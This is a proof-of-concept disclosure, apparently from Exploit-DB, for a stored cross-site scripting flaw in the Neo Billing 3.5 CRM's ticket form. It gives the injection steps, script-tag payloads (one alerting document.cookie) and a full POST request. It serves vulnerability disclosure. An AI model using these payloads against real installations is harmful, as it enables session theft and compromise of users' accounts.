Neo Billing 3.5 – Persistent Cross-Site Scripting
# Exploit Title: Neo Billing 3.5 - Stored Cross Site Scripting Vulnerability # Date: 18.8.2019. # Exploit Author: n1x_ [MS-WEB] # Vendor Homepage: https://codecanyon.net/item/neo-billing-accounting-invoicing-and-crm-software/20896547 # Version: 3.5 # CWE : CWE-79 # CVE: CVE-2020-23518 [Description] # Neo Billing os an accounting, invoicing and CRM PHP script, with over 500 installations. # Due to improper input fields data filtering, version 3.5 (and possibly previous versions), are affected by a stored XSS vulnerability. [Proof of Concept] # 1. Authorization as customer (regular user account) [//host/neo/crm/user/login] # 2. Closing an input field tag and injecting code into 'Subject' or 'Description' text fields [//host/neo/crm/tickets/addticket] # 3. The code is stored [//host/neo/crm/tickets] ∨ [//host/neo/crm/tickets/thread/?id=ticketid] [Example paylods] # Example payload: "><img src="https://www.exploit-db.com/exploits/47289/x" onerror="alert('XSS');"> # Example payload: "><script>alert(document.cookie)</script> [POST Request] POST /neo/crm/tickets/addticket HTTP/1.1 Host: host User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: //host/neo/crm/tickets/addticket Content-Type: multipart/form-data; boundary=---------------------------899768029113033755249127523 Content-Length: 694 Cookie: __cfduid=d99e93624fe63d5aa953bf59cd28cdafe1566123585; ci_sessions=nel35vfb2hi5f9tt29l43ogn36hdmilj Connection: close Upgrade-Insecure-Requests: 1 -----------------------------899768029113033755249127523 Content-Disposition: form-data; name="title" "><script>alert('XSS')</script> -----------------------------899768029113033755249127523 Content-Disposition: form-data; name="content" <p>"><script>alert('XSS')</script><br></p> -----------------------------899768029113033755249127523 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream -----------------------------899768029113033755249127523 Content-Disposition: form-data; name="userfile"; filename="" Content-Type: application/octet-stream -----------------------------899768029113033755249127523-- |